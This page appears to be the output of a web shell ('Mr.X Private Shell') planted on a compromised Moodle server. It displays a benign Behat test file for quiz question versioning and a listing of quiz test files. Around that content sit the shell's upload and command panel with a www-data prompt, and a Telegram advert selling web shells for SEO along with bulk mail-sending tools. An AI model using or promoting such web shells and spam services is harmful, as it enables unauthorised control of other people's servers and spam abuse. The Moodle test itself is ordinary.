__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_quiz
Feature: Quiz question versioning
  In order to manage question versions
  As a teacher
  I need to be able to choose which versions can be displayed in a quiz

  Background:
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1        | 0        | 1         |
    And the following "users" exist:
      | username | firstname | lastname | email               |
      | teacher  | Teacher   | 1        | teacher@example.com |
    And the following "course enrolments" exist:
      | user    | course | role           |
      | teacher | C1     | editingteacher |
    And the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |
    And the following "activities" exist:
      | activity   | name   | course | idnumber |
      | quiz       | Quiz 1 | C1     | quiz1    |
    And the following "questions" exist:
      | questioncategory | qtype     | name           | questiontext              |
      | Test questions   | truefalse | First question | Answer the first question |
      | Test questions   | truefalse | Other question | Answer the first question |
    And quiz "Quiz 1" contains the following questions:
      | question          | page |
      | First question    | 1    |

  @javascript
  Scenario: Appropriate question version should be displayed when not edited
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    Then I should see "First question"
    And I should see "Answer the first question"
    And the field "version" matches value "Always latest"
    And the "version" select box should contain "v1 (latest)"
    # We check that the corresponding version is the appropriate one in preview
    And I click on "Preview question" "link"
    And I switch to "questionpreview" window
    And I should see "Version 1 (latest)"
    And I should see "Answer the first question"
    And I click on "Submit and finish" "button"
    And I should see "You should have selected true."

  @javascript
  Scenario: Approriate question version should be displayed when edited
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    And I click on "Edit question First question" "link"
    # We edit the question with new informations to generate a second version
    And I set the following fields to these values:
      | Question name  | First question (v2)           |
      | Question text  | Answer the new first question |
      | Correct answer | False                         |
    And I press "id_submitbutton"
    And the field "version" matches value "Always latest"
    And the "version" select box should contain "v1"
    And I set the field "version" to "v2 (latest)"
    Then I should see "First question (v2)"
    And I should see "Answer the new first question"
    And I click on "Preview question" "link"
    And I switch to "questionpreview" window
    # We check that the corresponding version is the appropriate one in preview
    # We also check that the new information is properly displayed
    And I should see "Version 2 (latest)"
    And I should see "Answer the new first question"

  @javascript
  Scenario: Appropriate question version displayed when later draft version exists
    # Edit the question in the question bank to add a new draft version.
    Given I am on the "First question" "core_question > edit" page logged in as teacher
    And I set the following fields to these values:
      | Question name   | First question (v2)           |
      | Question text   | Answer the new first question |
      | Correct answer  | False                         |
      | Question status | Draft                         |
    And I press "id_submitbutton"
    When I am on the "Quiz 1" "mod_quiz > Edit" page
    Then I should see "First question"
    And I should see "Answer the first question"
    And the field "version" matches value "Always latest"
    And the "version" select box should contain "v1 (latest)"
    And the "version" select box should not contain "v2"
    And the "version" select box should not contain "v2 (latest)"
    And I am on the "Quiz 1" "mod_quiz > View" page
    And I press "Preview quiz"
    And I should see "Answer the first question"

  @javascript
  Scenario: Creating a new question should have always latest in the version selection
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    # Change the version of the existing question, to ensure it does not match later.
    And I set the field "version" to "v1 (latest)"
    And I open the "Page 1" add to quiz menu
    And I follow "a new question"
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    And I set the following fields to these values:
      | Question name   | New essay                      |
      | Question text   | Write 200 words about quizzes. |
    And I press "id_submitbutton"
    And I should see "New essay" on quiz page "1"
    And the field "version" in the "New essay" "list_item" matches value "Always latest"

  @javascript
  Scenario: Adding a question from question bank should have always latest in the version selection
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    And I open the "Page 1" add to quiz menu
    And I follow "from question bank"
    And I click on "Select" "checkbox" in the "Other question" "table_row"
    And I press "Add selected questions to the quiz"
    Then I should see "Other question" on quiz page "1"
    And the field "version" in the "Other question" "list_item" matches value "Always latest"

  @javascript
  Scenario: Adding a question where all available versions are drafts should display a helpful message.
    Given quiz "Quiz 1" contains the following questions:
      | question       | page |
      | First question | 1    |
    And I am on the "Quiz 1" "mod_quiz > Question bank" page logged in as teacher
    And I set the field "question_status_dropdown" in the "First question" "table_row" to "Draft"
    When I am on the "Quiz 1" "mod_quiz > Edit" page
    Then I should see "This question is in draft status. To use it in the quiz, go to the question bank and change the status to ready."

  @javascript
  Scenario: Previewing a question set to use always latest version will set the preview to always latest version
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    And the field "version" in the "First question" "list_item" matches value "Always latest"
    When I follow "Preview question"
    And I expand all fieldsets
    Then the field "Question version" matches value "Always latest"

  @javascript
  Scenario: Previewing a question set to use a specific version will set the preview to that version
    When I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher"
    And I set the field "version" to "v1 (latest)"
    When I follow "Preview question"
    And I expand all fieldsets
    Then the field "Question version" matches value "1"

Filemanager

Name Type Size Permission Actions
add_quiz.feature File 2.84 KB 0777
attempt_basic.feature File 12.28 KB 0777
attempt_begin.feature File 6.19 KB 0777
attempt_multiple_grades.feature File 2.53 KB 0777
attempt_redo_questions.feature File 11.94 KB 0777
attempt_require_previous.feature File 12.75 KB 0777
attempt_review_options.feature File 3.76 KB 0777
attempt_sequential.feature File 4.53 KB 0777
backup.feature File 3.23 KB 0777
behat_mod_quiz.php File 50.46 KB 0777
completion_condition_attempts_used.feature File 4.16 KB 0777
completion_condition_minimum_attempts.feature File 3.25 KB 0777
completion_condition_passing_grade.feature File 5.67 KB 0777
completion_manual.feature File 2.04 KB 0777
editing_add.feature File 10.98 KB 0777
editing_add_from_question_bank.feature File 8.36 KB 0777
editing_add_random.feature File 16.15 KB 0777
editing_edit_random.feature File 2.99 KB 0777
editing_move_by_click.feature File 4.86 KB 0777
editing_multiple_grades.feature File 8.08 KB 0777
editing_question_numbering.feature File 6.6 KB 0777
editing_remove_multiple_questions.feature File 13.07 KB 0777
editing_remove_question.feature File 4.38 KB 0777
editing_repaginate.feature File 6.38 KB 0777
editing_require_previous.feature File 13.22 KB 0777
editing_section_headings.feature File 18.68 KB 0777
editing_set_marks_no_attempts.feature File 3.48 KB 0777
editing_set_marks_with_attempts.feature File 3.58 KB 0777
feedback_on_override_mark.feature File 2.06 KB 0777
flag_questions.feature File 3.66 KB 0777
group_mode.feature File 3.85 KB 0777
info_page.feature File 2.6 KB 0777
manually_mark_question.feature File 4.1 KB 0777
preview.feature File 5.09 KB 0777
quiz_activity_availability.feature File 6.12 KB 0777
quiz_activity_certainty.feature File 6.67 KB 0777
quiz_activity_completion.feature File 4.71 KB 0777
quiz_activity_completion_locked.feature File 2.62 KB 0777
quiz_activity_completion_unlocked.feature File 3.89 KB 0777
quiz_feedback.feature File 3.99 KB 0777
quiz_group_override.feature File 7.26 KB 0777
quiz_interactive_multiple_tries.feature File 3.42 KB 0777
quiz_no_calendar_capabilities.feature File 1.97 KB 0777
quiz_question_versions.feature File 6.95 KB 0777
quiz_reset.feature File 2.94 KB 0777
quiz_user_override.feature File 11.93 KB 0777
random_question.feature File 5.04 KB 0777
reattempt_quiz.feature File 2.56 KB 0777
settings_form_fields_disableif.feature File 6.9 KB 0777
settings_form_validation.feature File 1.03 KB 0777
Filemanager